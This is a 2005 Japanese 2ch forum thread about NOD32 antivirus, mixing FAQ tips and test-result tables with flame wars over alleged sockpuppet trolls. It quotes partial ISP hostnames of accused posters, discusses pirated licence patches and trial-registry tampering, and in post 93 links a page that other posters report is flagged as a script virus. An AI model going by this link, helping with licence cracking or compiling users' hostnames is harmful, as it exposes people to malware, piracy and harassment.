5ちゃんねる ★スマホ版★ ■掲示板に戻る■ 全部 1- 最新50  

■ このスレッドは過去ログ倉庫に格納されています

NOD32アンチウィルス Part26

1 :名無しさん@お腹いっぱい。:2005/12/11(日) 19:22:39
○公式サイト
<キヤノンシステムソリューションズ(販売)>[日本語]
http://canon-sol.jp/product/nd/index.html

<Eset社(開発元)>[英語]
http://www.nod32.com/

カカクコム「NOD32」掲示板
http://www.kakaku.com/bbs/Main.asp?PrdKey=03502010008

【前スレ】
NOD32アンチウィルス Part25
http://pc8.2ch.net/test/read.cgi/sec/1133372382/

○既知の問題点
 ・UPX圧縮ファイルがNOD32のAMONと干渉
 ・NOD32をWindows Server 2003で使っている一部のユーザーでsp1をあてると通信不能となり、最悪の場合リブートの繰り返しとなる。
 ・一部の環境においてMicrosoft Update(Windows Update)が正常に実行出来ない現象が発生            ↑
この3つの問題はVer2.50.42にバージョンアップする事により回避出来ます。

>・NOD32にレジストリを破壊してOS再インストールが必要になる重大バグが発生。
>・Windows シャットダウン時にブルースクリーンになる問題
>・登録済みのアプリが強制抹消される問題
http://canon-sol.jp/product/nd/v20008.html
    ↑
●現在は問題無し。

2 :名無しさん@お腹いっぱい。:2005/12/11(日) 19:23:03
【Q&AおよびFAQ】
○まずは公式ページのQ&Aを参照しましょう
http://canon-sol.jp/supp/nd/
○その他 Q&A
Q.What Is N-O-D?
A.フォーラムでのその質問に対する答えです。
 http://www.wilderssecurity.com/index.php?board=27;action=display;threadid=15252

Q.PFW機能はありますか?
A.純粋なアンチウィルスソフトなので、ファイアーウォールは搭載してません。
 Freeで優秀なソフトがありますので、そちらをお使い下さい。
 (例:ZoneAlarm,Outpost Firewall(FREE),Sygate Personal Firewall ,Kerio Personal Firewall)

Q.やっぱりAMONが重い。*
A.AMONの「設定」で「検出」の「ファイル」-「検査を実行」 -
 「実行時」又は「オープン時」のチェックを外す。<ただし、自己責任で>

Q.telnetdやcvsで不具合が出た。*
A.AMONの「設定」で「検出」の「メディア」-「ネットワーク」のチェックを外す。

Q.AMONの常駐を一旦停止してから再び再開しようとすると、
「常駐保護をロードできません」と表示され、再開できない。
A.システムによってはこのような現象が起こる場合があるので、
 その場合はOSを再起動して下さい。(取説より)
 また、停止ボタンを押さずに、一時停止ボタンを利用するのも手でシ

Q.FDのスキャンを止められない。
A.オプションのFDのスキャンと、AMON→設定→ブートセクタの検査を実行のチェックをはずす

Q.メールソフトで不都合が出た
A.IMONの詳細設定を弄くってみる。

3 :名無しさん@お腹いっぱい。:2005/12/11(日) 19:23:24
2005年度 Virus Bulletin誌の試験結果  スキャン性能とオンアクセス性能 (全てVB100%認定品)
---------------------------------------------
   exeファイル   OLE  exe(zip) ole(zip) 検出性能(総合)
---------------------------------------------
AhnLab V3 Pro
 100秒( 1倍)  19秒   21秒 13秒  ミス=5,650  2005/02 NT 4.0
  31秒( 1倍)   7秒   90秒 18秒  ミス=3,294  2005/06 XP
  26秒( 1倍)   8秒   39秒 13秒  ミス=9,080  2005/10 2003
Eset
 105秒( 1倍)  14秒   32秒 16秒  完璧でした   2005/02 NT 4.0
  99秒( 3倍)  11秒   40秒  9秒  ミス=2      2005/06 XP
  27秒( 1倍)   3秒   23秒  5秒  完璧でした   2005/10 2003
  18秒( 1倍)   2秒   13秒  3秒  完璧でした   2005/12 2003 X64
Kaspersky
 239秒( 2倍)  30秒   97秒 26秒  ミス=2      2005/02 NT 4.0
 112秒( 4倍)  13秒   69秒 17秒  ミス=2      2005/06 XP
 116秒( 3倍)  14秒   62秒 16秒  ミス=2      2005/10 2003
  85秒( 5倍)   8秒   40秒  9秒  ミス=2      2005/12 2003 X64
BitDefender
 591秒( 6倍)  20秒  198秒 18秒  ミス=55     2005/02 NT 4.0
 507秒(16倍)   7秒  150秒  8秒  ミス=20     2005/06 XP
 460秒(17倍)  11秒  189秒 16秒  ミス=56     2005/10 2003
Symantec
 240秒( 2倍)  31秒   91秒 29秒  完璧でした   2005/02 NT 4.0
 173秒( 5倍)  21秒   62秒 20秒  完璧でした   2005/06 XP
 147秒( 5倍)  16秒   72秒 14秒  完璧でした   2005/10 2003
  79秒( 4倍)   7秒   33秒  5秒  完璧でした   2005/12 2003 X64
---------------------------------------------

4 :名無しさん@お腹いっぱい。:2005/12/11(日) 19:24:08
av-comparatives
> ttp://www.av-comparatives.org
ここの比較も信頼性が高い、ただ、NOD32はインストーラ型をオンデマンドで検知しませんから
若干不利な結果になっています。

--------------------------テンプレここまで------------------------

5 :名無しさん@お腹いっぱい。:2005/12/11(日) 19:26:25
主なトラブル履歴

2005年9月ブルースクリーンが生じてWindowsが停止する問題が再発。リリース中止。
http://canon-sol.jp/product/nd/nd_update.html
レジストリが破壊されてWindowsシャットダウン時にブルースクリーンとなる問題
登録済みのアプリケーションが強制削除される問題
http://canon-sol.jp/product/nd/v20008.html
通信不能となって最悪の場合はOSがリブートの繰り返しになる問題
http://canon-sol.jp/supp/nd/wndt4210.html
スキャンすると受信メールの全部が削除される問題
http://canon-sol.jp/supp/nd/wndt7003.html
Windowsアップデートができなくなる問題
http://canon-sol.jp/supp/nd/wndt4212.html

6 :名無しさん@お腹いっぱい。:2005/12/11(日) 19:26:27
>>1
(・∀・)ノ" 乙!

7 :名無しさん@お腹いっぱい。:2005/12/11(日) 19:31:51
つ1.1317 (20051209)

8 :名無しさん@お腹いっぱい。:2005/12/11(日) 19:53:45
セキュリティ板に強制ID制を導入すべきか否か
http://etc4.2ch.net/test/read.cgi/vote/1128862102/

9 :名無しさん@お腹いっぱい。:2005/12/11(日) 19:54:17
※NOD32アンチウイルス@避難所
http://yy13.kakiko.com/test/read.cgi/security/1112449961/

10 :名無しさん@お腹いっぱい。:2005/12/11(日) 19:54:48
【動機は?】雑音犬畜生Part34【\6kの高級ケースマダ?】
http://tmp5.2ch.net/test/read.cgi/tubo/1130566010/

11 :名無しさん@お腹いっぱい。:2005/12/11(日) 19:55:21
【ウンコ男爵】starcatの荒し屋Q 別名○ 9【GJ】
http://tmp5.2ch.net/test/read.cgi/tubo/1120964614/

12 :名無しさん@お腹いっぱい。:2005/12/11(日) 19:56:13
NOD32 過去の主なトラブル履歴

2005年9月ブルースクリーンが生じてWindowsが停止する問題が再発。リリース中止。
http://canon-sol.jp/product/nd/nd_update.html
レジストリが破壊されてWindowsシャットダウン時にブルースクリーンとなる問題
登録済みのアプリケーションが強制削除される問題
http://canon-sol.jp/product/nd/v20008.html
通信不能となって最悪の場合はOSがリブートの繰り返しになる問題
http://canon-sol.jp/supp/nd/wndt4210.html
スキャンすると受信メールの全部が削除される問題
http://canon-sol.jp/supp/nd/wndt7003.html
Windowsアップデートができなくなる問題
http://canon-sol.jp/supp/nd/wndt4212.html

13 :名無しさん@お腹いっぱい。:2005/12/11(日) 19:56:45
スレ常連の問題行動

「NODスレに書き込むときはfusianaします」と宣言したくせに、後で運営がNODスレをログ掘りしたら、
名無しで書き込んでいたのが判明。平気で嘘をつく。

>【軽快動作】NOD32【アンチウイルスソフト】
>http://pc8.2ch.net/test/read.cgi/sec/1112351342/
>482 名前:雑音 p84bef5.osaknt01.ap.so-net.ne.jp 投稿日:2005/04/25(月) 10:45:08
>緊急連絡があるとき意外は書き込みませんし、書き込むときはfusianaします。

ログ掘りで分かったp84bedc.osaknt01.ap.so-net.ne.jpから名無しで投稿されたレス。
>NOD32アンチウィルス Part19.1
>http://pc8.2ch.net/test/read.cgi/sec/1119907260/57
>57:名前:名無しさん@お腹いっぱい。投稿日:2005/07/03(日) 13:27:11
>あたまのおかしな人へ
>貴方の頭の中には沢山の雑音さんが住んでいるようですけど、どれが本当の雑音ですか?
>もしかしたら私も雑音?

運営のログ掘り
>http://qb5.2ch.net/test/read.cgi/sec2chd/1122724714/16
>名無しさん@お腹いっぱい。<>sage<>2005/07/03(日) 13:27:11 <>あたまのおかしな人へ <>p84bedc.osaknt01.ap.so-net.ne.jp

14 :名無しさん@お腹いっぱい。:2005/12/11(日) 19:57:21
ウイルスセキュリティスレの自演荒らしはNOD厨だった。

>http://pc8.2ch.net/test/read.cgi/sec/1119543099/ 【ウイルスセキュリティ Part13】
>>524 名前:p84bedc.osaknt01.ap.so-net.ne.jp 投稿日:2005/06/28(火) 01:21:52
>ほんじゃ〜最後にVSに付いてプロからのコメントを残しておくぞ。
>
>http://tmp5.2ch.net/test/read.cgi/tubo/1117805574/【雑音犬畜生Part29】
>>757 名前:p84bedc.osaknt01.ap.so-net.ne.jp 投稿日:2005/07/03(日) 22:38:02 ID:CpVgWHbQ
> 私を叩くと称して荒らし放題。
>
>「 私を叩くと称して荒らし放題。」つまり本人が、雑音=p84bedc.osaknt01.ap.so-net.ne.jpと認める。

15 :名無しさん@お腹いっぱい。:2005/12/11(日) 19:57:52
ウイルスバスター叩き工作の犯人もNOD厨だった。

深刻な被害を受けている善良なバスターユーザーの心からの訴え。

311 名前:VB2006 [sage] 投稿日:2005/10/26(水) 12:36:49
【2005使いも】ウイルスバスター2006 Part1【歓迎】
http://pc8.2ch.net/test/read.cgi/sec/1129946596/
ですが、荒らしがひどくて困ってます。
2006にアップグレードしたばかりで、みんなは本当の情報をほしがっているのに
どうにもなりません。
おそらく同一個人みたいなのですが、NODと比較して重いとか、VBアンインスコしたら
ニートの弟が働きだしたとか、もう手がつけられませんよ。
何とかなりませんか?

16 :名無しさん@お腹いっぱい。:2005/12/11(日) 20:05:23
>NOD厨の宣言
>
>NOD32アンチウィルス Part24
>457 名前:名無しさん@お腹いっぱい。 [sage] 投稿日:2005/11/20(日) 16:47:32
>ノートンは糞、何度でも言ってやるよww
>そこらじゅうで言ってやるぜww


>Kasperskyスレをコピペ荒らししてアク禁になったのもNOD厨だった。

>★20050705 Kaspersky荒らし報告スレ★
>http://qb5.2ch.net/test/read.cgi/sec2chd/1120543625/
>66 名前: ◆Wan01KGV..  [sage] 投稿日:2005/07/05(火) 20:39:02 ID:X6+1LwWa0
>報告>>3-32 ログ>>33-63
>starcat.ne.jp 296res
>
>規制>>64
>starcat.ne.jp 規制
>
>68 名前:AirRock ★ [sage] 投稿日:2005/07/05(火) 22:41:48 ID:*********0
>67
>規制@全サーバ No.2
>http://qb5.2ch.net/test/read.cgi/sec2ch/1095552678/309 2005/07/05(火) 22:40:57

17 :名無しさん@お腹いっぱい。:2005/12/11(日) 20:05:54
ノートン叩き工作の犯人もNOD厨だった。

【インターネットセキュリティ Ver.75】
>27:名無しさん@お腹いっぱい。:2005/10/21(金) 21:22:37
>ノートンスレは常にNOD厨の工作投稿で一杯なので、初めて来た人は注意が必要です。
>Ver73スレのように1日で400レスほども大量に書き込むことも珍しくありません。

>284 名前:281 [sage] 投稿日:2005/10/24(月) 14:55:32
>自治スレで話題になっていたので、録.音が投稿しているというサイト↓を見に行ってきたよ。やはりそこでも嫌われてた。
>ttp://higaitaisaku.com/cgi-bin/cbbs.cgi?mode=one&namber=4410&type=0&space=0&no=2
>そこで用いられているハンドルをインタネ検索してみたところ、教えて!goo掲示板にて、
>ある時は中年窓際会社員として、ある時は車の整備士として、離婚相談からアンチウイルス選びまで
>大活躍をしていることを知った。
>
>ttp://oshiete1.goo.ne.jp/kotaeru.php3?q=1034093
>無理にそう言った重いソフトでチェックしなくても他のチェックサイトを試されてはいかがでしょうか?
>こちらを紹介しますのでシマンテック以外を選択されてチェックしてみてください。
>蛇足ですがこちらのウィルス対策ソフトは非常に軽くて使いやすくて
>本当にいいです、私が使っています。
>体験版がありますので一度使ってみてください。(ttp://canon-sol.jp/product/nd/index.html)
>
>ttp://oshiete1.goo.ne.jp/kotaeru.php3?q=1025032
>実は私もあなたと同じようにここの掲示板で似たような質問をして
>紹介してもらったのは、N.OD32と言うウィルスソフトです。
>これは本当に軽くて使いやすい!
>NISに比べるとウィルスソフトが入っている事がウソのように感じます。
>N.OD32、キャノンのサイトです。(体験版があります。)
>ただしこれはウィルスソフトだけですからファイアーウォールソフトは別に用意する必要があります。
>それもここの掲示板で教えていただいたのですが、Outpost Firewall と言うフリーのソフトです。

18 :名無しさん@お腹いっぱい。:2005/12/11(日) 20:07:36
2人のNOD厨

雑音(録音)->淫厨とNOD32厨を兼ねる。
http://tmp5.2ch.net/test/read.cgi/tubo/1130566010/
http://science3.2ch.net/test/read.cgi/infosys/1088029040/
http://z-temp.hp.infoseek.co.jp/2ch/Prescott699-.html
http://mossarilog.at.infoseek.co.jp/

梶Q
http://tmp5.2ch.net/test/read.cgi/tubo/1120964614/




雑音
osaknt01.ap.so-net.ne.jp
osaka-ip.dti.ne.jp

Q
usr.starcat.ne.jp
dsl.gol.ne.jp

19 :名無しさん@お腹いっぱい。:2005/12/11(日) 20:11:42
881 名前:名無しさん@お腹いっぱい。[] 投稿日:2005/12/11(日) 16:34:12
スパイウェアに対する検出力評価
ttp://www.infoworld.com/article/05/09/19/38FEspy_1.html
1位 F-Secure
2位 Webroot
3位 LANDesk
4位 Sunbelt
5位 SurfControl
6位 McAfee
7位 Trend Micro
8位 eTrust
9位 NOD32 v2.5

884 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/11(日) 16:36:41
>>881
それ、アンチスパイ専門ソフトとの比較だろ?
比較されるだけでもNOD32が優秀なアンチスパイ機能を備えている証明だよ。

889 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/11(日) 16:42:58
>>884
いつからF-Secureが「アンチスパイ専門ソフト」になったんだ?
教えてくれ。

920 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/11(日) 17:12:00
>>917
元々が総合セキュリティ(アンチスパイウェア含む)製品なんだよ。
お前の無知を私に押し付けるなって。

936 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/11(日) 17:20:04
>>931
「アンチスパイ専門ソフト」と「総合セキュリティ(アンチスパイウェア含む)製品」が
同じわけないだろw

20 :名無しさん@お腹いっぱい。:2005/12/11(日) 21:03:41
>>8-19
数年に渡るNODスレ粘着君

.eo.eaccess.ne.jp (JaneStyle/1.24使用)

21 :名無しさん@お腹いっぱい。:2005/12/11(日) 21:03:49
雑音は何でスレ立てるの?
ねえ?
なんで?

22 :名無しさん@お腹いっぱい。:2005/12/11(日) 21:39:50
>19
その検査した人って素人だろ?そんなの信じない方が良いよ
ウィルスやスパイの検査なんて、使う検体によってどうにでも操作できるんだよ。

23 :名無しさん@お腹いっぱい。:2005/12/11(日) 21:43:27
>>22
論点はそこじゃないんで。

24 :名無しさん@お腹いっぱい。:2005/12/11(日) 22:18:08
論点ってどこにあるの?

25 :名無しさん@お腹いっぱい。:2005/12/11(日) 22:20:01
いつからF-Secureが「アンチスパイ専門ソフト」になったんだ?
教えてくれ。


「アンチスパイ専門ソフト」と「総合セキュリティ(アンチスパイウェア含む)製品」が
同じわけないだろw

26 :名無しさん@お腹いっぱい。:2005/12/11(日) 22:24:10
>>24
荒らしがNOD32スレを荒らし続ける為に挙げたURLですから論点は必然的にNOD32を貶すこと。
これだけです。
それと、荒らしの中に雑音叩きも混ざっているようですからご注意ください。
彼らの大量コピペ爆弾はレスを腐らせます。

27 :名無しさん@お腹いっぱい。:2005/12/11(日) 22:25:02
>>26

いつからF-Secureが「アンチスパイ専門ソフト」になったんだ?
教えてくれ。


「アンチスパイ専門ソフト」と「総合セキュリティ(アンチスパイウェア含む)製品」が
同じわけないだろw

28 :名無しさん@お腹いっぱい。:2005/12/11(日) 22:25:19
> F-Secureは元々はスパイウェア分野で強く、ここ最近になってKAVのエンジンをOEM搭載しただけ。
そもそもここがデタラメ。
スパイウェアなど騒がれる前からF-SecureはKAV。昔からKAV。
この前提がデタラメな以上、以下に書いてる補足説明自体が崩壊。
デタラメではないと主張するならF-SecureがKAVになった「ここ最近」がいつなのか答えて下さい。
ちなみにF-Secureは88年に設立して90年にはアンチウイルスに特化しています。

29 :名無しさん@お腹いっぱい。:2005/12/11(日) 22:26:21
>>26
「NODスレに書き込むときはfusianaします」のじゃなかったのですか?

30 :名無しさん@お腹いっぱい。:2005/12/11(日) 22:26:52
雑音先生はでたらめだらけだにゃwww

31 :名無しさん@お腹いっぱい。:2005/12/12(月) 01:11:51
口調に注目。
またNOD厨の雑音が、他の製品スレ(Kaspersky)を200レス以上の自演で埋めていた。

>Kaspersky Lab Part5
>http://pc8.2ch.net/test/read.cgi/sec/1130498109/
>951 名前:名無しさん@お腹いっぱい。 投稿日:2005/12/06(火) 01:52:56
>あと、企業によっては恐ろしく古いシステムを使いつづけてる場所もあるぞっと。

>スクープ!録音さん
>http://z-temp.hp.infoseek.co.jp/2ch/Prescott699-.html
>902 : ◆Rb.XJ8VXow :04/04/18 21:19 ID:CE6MO5Gj
>あ、887はどんな言語でもいいぞっと。
>さらに、データの読み込み部は記述ふようだぞっと。

32 :名無しさん@お腹いっぱい。:2005/12/12(月) 01:41:00
> >・NOD32にレジストリを破壊してOS再インストールが必要になる重大バグが発生。

こんなバグ?始めてみた、わらた

33 :名無しさん@お腹いっぱい。:2005/12/12(月) 01:49:32
>>28
ここ最近という部分を抜かしても崩壊してるよ。
KAVを搭載と言っているが、搭載する以前のエンジンを現在積んでいないのだから連続性がない。
またF-SecureはKAVとF-prot(マクロ専用)とオマケの数KBエンジンのトリプルエンジン。
つまりここ最近以前の状態が存在しない。スパイウェア部分はすべてKAVが検出しているわけ。

34 :名無しさん@お腹いっぱい。:2005/12/12(月) 03:05:14
>>8
セキュリティ板を自作板のようにID強制表示にしたい雑音と、
リモホ強制表示の方が効果的だと主張するセキュ板住民との議論。
http://pc8.2ch.net/test/read.cgi/sec/1121047377/435-565
【セキュリティ板自治議論スレッド 4】


※まとめ
強制ID表示 → 雑音には効果なし。自作PC板(強制ID表示)と同じで、
           「ほらほらIDが違うぞ!自演じゃないぞ!」といわんばかりに、
           むしろ調子に乗って大暴れする。
           しかもNODに批判的な投稿をしているIDを追跡して、
           どこの製品スレの常連か割り出して、きっちり復讐を行う。

強制リモホ表示 → 雑音には効果がある。(大阪の光回線)→しかし反対も多そう。
              osaknt01.ap.so-net.ne.jp
              osaka-ip.dti.ne.jp(雑音の可能性がある)

雑音が同じ日に複数IDを使い分けている証拠の一例(2005年5月7日)。
http://qb5.2ch.net/test/read.cgi/sec2chd/1115205599/
154 名前:雑音 pd3fc89.osaknt01.ap.so-net.ne.jp 投稿日:2005/05/07(土) 01:07:48 ID:oW/NSQrd
164 名前:雑音 p84bfc5.osaknt01.ap.so-net.ne.jp 投稿日:2005/05/07(土) 12:19:01 ID:MzCt9tXW

35 :名無しさん@お腹いっぱい。:2005/12/12(月) 03:26:53
>スパイウェア部分はすべてKAVが検出しているわけ。

するとウイルスにもスパイウエアにも、
Kasperskyはトップクラスなんですね。
テキなから天晴れ・・。

>アンチウイルスの性能評価をしている「AV Comparitives」の8月のテスト結果。
>http://www.av-comparatives.org/seiten/ergebnisse/report07.pdf
>http://www.av-comparatives.org/
>1位 Kaspersky
>2位 Symantec
>
>スパイウェアに対する検出力評価
>ttp://www.infoworld.com/article/05/09/19/38FEspy_1.html
>1位 F-Secure(Kaspersky)
>2位 Webroot
>3位 LANDesk
>4位 Sunbelt
>5位 SurfControl
>6位 McAfee
>7位 Trend Micro
>8位 eTrust
>9位 NOD32 v2.5

36 :名無しさん@お腹いっぱい。:2005/12/12(月) 03:31:03
F-Secure は Ad-Aware 使ってないか?

37 :名無しさん@お腹いっぱい。:2005/12/12(月) 04:28:46
>>36
根拠ゼロの憶測でよくそんな下らない発言が出来るモンだな・・・。
まぁ一応どうしてそういう発想に思い至ったのかは書いてもいいけど。

38 :名無しさん@お腹いっぱい。:2005/12/12(月) 04:48:35
>>37
ちょっと検索しいてみた

F-Secure submitted a suite of security-blocking, filtering, and scanning-orientated applications.
The spyware component was sourced from the people at Lavasoft, and is identical to Ad-Aware.
The rest of the suite includes antivirus, firewall, anti-spam, and parental control components.

ttp://www.zdnet.com.au/reviews/software/security/0,39023452,39166231-3,00.htm

インストールするとAd-Aware をアンインストールするから間違いないと思う。

39 :名無しさん@お腹いっぱい。:2005/12/12(月) 04:49:41
検索をしいてしまってごめん

40 :名無しさん@お腹いっぱい。:2005/12/12(月) 04:53:13
根拠なしは>33だったな

41 :名無しさん@お腹いっぱい。:2005/12/12(月) 06:30:03
つまりそれはF-Secureが「アンチスパイ専門ソフト」ではない、という証明だな。

42 :名無しさん@お腹いっぱい。:2005/12/12(月) 07:22:26
雑音の敗北決定wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww


43 :名無しさん@お腹いっぱい。:2005/12/12(月) 10:23:41


NODの良い所に気づくべきだ






と思う

44 :名無しさん@お腹いっぱい。:2005/12/12(月) 13:09:48
1.1318 (20051211)

45 :名無しさん@お腹いっぱい。:2005/12/12(月) 17:31:08
ういん(とおる)乙

46 :名無しさん@お腹いっぱい。:2005/12/12(月) 17:39:57
延長パッチ入手できた俺は勝ち組。Freeでこの性能、たまらん!

47 :名無しさん@お腹いっぱい。:2005/12/12(月) 17:53:52
貧乏人が勝ち組であることは絶対ない。
不正使用している負い目があるだけでも既に負け組み決定だよ。
真の勝ち組は、そんな小さな額など気にもしないで正規に入手する。

48 :名無しさん@お腹いっぱい。:2005/12/12(月) 17:59:33
>>46
うpしる

49 :名無しさん@お腹いっぱい。:2005/12/12(月) 18:18:40
セキュリティソフトを不正使用って基地外だろ

50 :名無しさん@お腹いっぱい。:2005/12/12(月) 19:20:20
基地外が立てた基地外スレだからこんなものだろ。

51 :名無しさん@お腹いっぱい。:2005/12/12(月) 19:49:12
>>50
あんまり嫉妬すんな、みじめになるだけだぞw

52 :名無しさん@お腹いっぱい。:2005/12/12(月) 19:56:56
その延長パッチには2種類あることに注意。
一つは全HDDアボーンされる。しかも実行される時間はランダム。
一つは本物。この二つのサイズは同じ。

53 :名無しさん@お腹いっぱい。:2005/12/12(月) 20:37:32
>>51
さすが基地外スレ。
日本語が通じないらしいw

54 :名無しさん@お腹いっぱい。:2005/12/12(月) 20:38:06
怖いこというなよ

55 :名無しさん@お腹いっぱい。:2005/12/12(月) 20:51:50
>>52
>一つは全HDDアボーンされる。しかも実行される時間はランダム。
大丈夫です。なぜならNOD32がそれを検出するからです。

56 :名無しさん@お腹いっぱい。:2005/12/12(月) 20:56:25
なるほど! Σ( ̄□ ̄;) 

57 :名無しさん@お腹いっぱい。:2005/12/12(月) 21:06:17
そうかぁ!なら安心だね(^-^)

58 :名無しさん@お腹いっぱい。:2005/12/12(月) 21:09:04
>>なぜならNOD32がそれを検出するからです

プ

59 :名無しさん@お腹いっぱい。:2005/12/12(月) 21:22:52
>>52
もうちょっと頭使えよ。
本当にそんなトロイがあるなら他アンチウイルスはこぞって検知することになる。
それがNOD32だけ検出しない、という事態をESETが放置すると思うか?
存在するならESETも対応する。脅しになってないわけよ。

60 :名無しさん@お腹いっぱい。:2005/12/12(月) 21:24:56
つ1.1319

61 :名無しさん@お腹いっぱい。:2005/12/12(月) 21:39:15
うん

62 :名無しさん@お腹いっぱい。:2005/12/12(月) 21:42:04


63 :名無しさん@お腹いっぱい。:2005/12/12(月) 21:42:46
スレ。

64 :名無しさん@お腹いっぱい。:2005/12/12(月) 22:28:06
HDDフォーマット位 ばれずに仕込めるだろが

65 :名無しさん@お腹いっぱい。:2005/12/12(月) 22:31:44
>>64
ほう?やったことがあるかのような発言。夢見る時間にはまだ早いですよ?

66 :名無しさん@お腹いっぱい。:2005/12/12(月) 22:31:57
exe形式でのHDフォーマッタなら検知は出来んね

67 :名無しさん@お腹いっぱい。:2005/12/12(月) 22:53:39
でも、海外パッチでウイルス入りはあるよ。
体験版が感知してくれたおかげで助かった。

68 :名無しさん@お腹いっぱい。:2005/12/12(月) 22:58:25
>>67
だれもそんな話はしてねえ

69 :名無しさん@お腹いっぱい。:2005/12/12(月) 23:04:24
検知されずにフォーマッタを仕込むなんて簡単にできるよ
Shareが出たばかりのころ、プラグインだかなんだかでやれちまった

70 :名無しさん@お腹いっぱい。:2005/12/12(月) 23:08:47
NOD厨の糞たる理由は信者ですら割れだってことだ
割りやすいからNOD使ってるだけ ここはドロボースレ

71 :名無しさん@お腹いっぱい。:2005/12/12(月) 23:12:00
犯罪者スレですか?

72 :名無しさん@お腹いっぱい。:2005/12/12(月) 23:22:36
ノートン2003の期限が切れたので、NOD32に乗り換えてみた。
新参者ですがよろしこ


73 :名無しさん@お腹いっぱい。:2005/12/12(月) 23:49:21
>>71
はい。
ここは犯罪者スレです。

74 :名無しさん@お腹いっぱい。:2005/12/12(月) 23:49:39
>>66
実行時に検出する。あまり無知を晒すな。

75 :名無しさん@お腹いっぱい。:2005/12/13(火) 00:03:03
1.1319 (20051212)


76 :無知を晒した人:2005/12/13(火) 00:05:58
881 名前:名無しさん@お腹いっぱい。[] 投稿日:2005/12/11(日) 16:34:12
スパイウェアに対する検出力評価
ttp://www.infoworld.com/article/05/09/19/38FEspy_1.html
1位 F-Secure
2位 Webroot
3位 LANDesk
4位 Sunbelt
5位 SurfControl
6位 McAfee
7位 Trend Micro
8位 eTrust
9位 NOD32 v2.5

884 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/11(日) 16:36:41
>>881
それ、アンチスパイ専門ソフトとの比較だろ?
比較されるだけでもNOD32が優秀なアンチスパイ機能を備えている証明だよ。

889 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/11(日) 16:42:58
>>884
いつからF-Secureが「アンチスパイ専門ソフト」になったんだ?
教えてくれ。

920 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/11(日) 17:12:00
>>917
元々が総合セキュリティ(アンチスパイウェア含む)製品なんだよ。
お前の無知を私に押し付けるなって。

936 名前:名無しさん@お腹いっぱい。[sage] 投稿日:2005/12/11(日) 17:20:04
>>931
「アンチスパイ専門ソフト」と「総合セキュリティ(アンチスパイウェア含む)製品」が
同じわけないだろw

77 :名無しさん@お腹いっぱい。:2005/12/13(火) 00:09:10
(;^ω^).。O( 電波チョソのNOD厨は、知ったかぶり全開ですな......

78 :104:2005/12/13(火) 00:10:19
いや、フォーマット類は極普通の機能だから検知するほうが異常かと思います。
「潜在的に危険な」と言っても、それはフォーマット類の基本的機能の指すものではない。
この話題から少しずれてしまうけど、プラウザやメールソフト類はダウンロード(受信含む)したexe等を
そのまま実行しようとすると警告メッセージを出したり、場合によっては実行するexeがMSの署名を得ているかを検査して
未署名なら警告等を行う。
このような対処により迂闊に出所の知れないソフトの実行には大きな危険が伴うことを告知している。
その程度のことしか出来ない。

話を戻すと、NOD32が言うところの「潜在的に危険な」という意味は、実行することでHDDが初期化されるようなことではなく
システムを無防備状態にするような機構が含まれているソフトや未署名でありながらセキュリティ類の操作やサービスプロセスの設定変更等を
伴うようなものに限定しているのだと思う。

79 :名無しさん@お腹いっぱい。:2005/12/13(火) 00:16:24
NOD32厨房っって知ったかぶりのバカ丸出しだったんだな(爆)
見ててこちが恥ずかしくなる(苦笑)

80 :通りすがり:2005/12/13(火) 00:19:13
NOD32を割れで使うなんて信じられないな
まあどうせNORTONなんて買えないから嫉妬してるのかな?

81 :104:2005/12/13(火) 00:20:04
>>78は、荒れそうな状況でしたので書き込みました。
55さんの「大丈夫です。なぜならNOD32がそれを検出するからです。 」に反応しての投稿ではありませんから宜しくお願いします。
55さんのウィットに富んだ投稿は場を和ますものと思っています。

82 :名無しさん@お腹いっぱい。:2005/12/13(火) 00:27:54
>>81

いつからF-Secureが「アンチスパイ専門ソフト」になったんだ?
教えてくれ。


「アンチスパイ専門ソフト」と「総合セキュリティ(アンチスパイウェア含む)製品」が
同じわけないだろw

83 :名無しさん@お腹いっぱい。:2005/12/13(火) 00:30:41
(°д ゚)ハァ?

84 :名無しさん@お腹いっぱい。:2005/12/13(火) 00:31:42
>>82
>>19
>>25
>>27
>>76
重複した投稿=荒らし

85 :名無しさん@お腹いっぱい。:2005/12/13(火) 00:32:49
おまいらもよく飽きずにやってるな。
俺は今日一日HDDの交換、OSから常用アプリのインスコで疲れたよ……

86 :名無しさん@お腹いっぱい。:2005/12/13(火) 00:39:05
>>84

いつからF-Secureが「アンチスパイ専門ソフト」になったんだ?
教えてくれ。


「アンチスパイ専門ソフト」と「総合セキュリティ(アンチスパイウェア含む)製品」が
同じわけないだろw

87 :名無しさん@お腹いっぱい。:2005/12/13(火) 01:31:48
割れ使うならせめて体験版を使いまわすのが筋だと思うが。

88 :名無しさん@お腹いっぱい。:2005/12/13(火) 01:47:09
金払って使えNOD厨ども。

89 :名無しさん@お腹いっぱい。:2005/12/13(火) 02:20:53
>>87
ここのキチガイは体験版のレジストリを不正に改変して使ってる。
対策してないのもアホだが、だからって許される話ではない。

90 :名無しさん@お腹いっぱい。:2005/12/13(火) 02:25:58
体験版を何度も使いまわすのも止めましょうよ。
お金を払って使いましょうね。

91 :名無しさん@お腹いっぱい。:2005/12/13(火) 02:52:43
体験版を使い回したり割ったりする代わりに宣伝活動してるんだと思ってた

92 :名無しさん@お腹いっぱい。:2005/12/13(火) 03:03:29
それいいね

93 :名無しさん@お腹いっぱい。:2005/12/13(火) 06:04:29
2ch見ただけでオレのNODが燃えたよ

http://pc8.2ch.net/test/read.cgi/sec/994847789/

94 :名無しさん@お腹いっぱい。:2005/12/13(火) 11:11:11
>>93
IMON アーカイブ http://pc8.2ch.net/sec/dat/994847789.dat ウイルスの可能性 : SCRIPT ウイルス切断されました


95 :名無しさん@お腹いっぱい。:2005/12/13(火) 12:29:26
ウイルス貼ったら2chでも即アク禁なんだろ?
通報しとけ!

96 :名無しさん@お腹いっぱい。:2005/12/13(火) 16:05:03
>>93のおかげでパソが異常終了するようになった
これってなんとかできないものか?アク禁など生ぬるいな

97 :名無しさん@お腹いっぱい。:2005/12/13(火) 16:40:04
通報しとけ!

98 :名無しさん@お腹いっぱい。:2005/12/13(火) 17:27:08
>>96
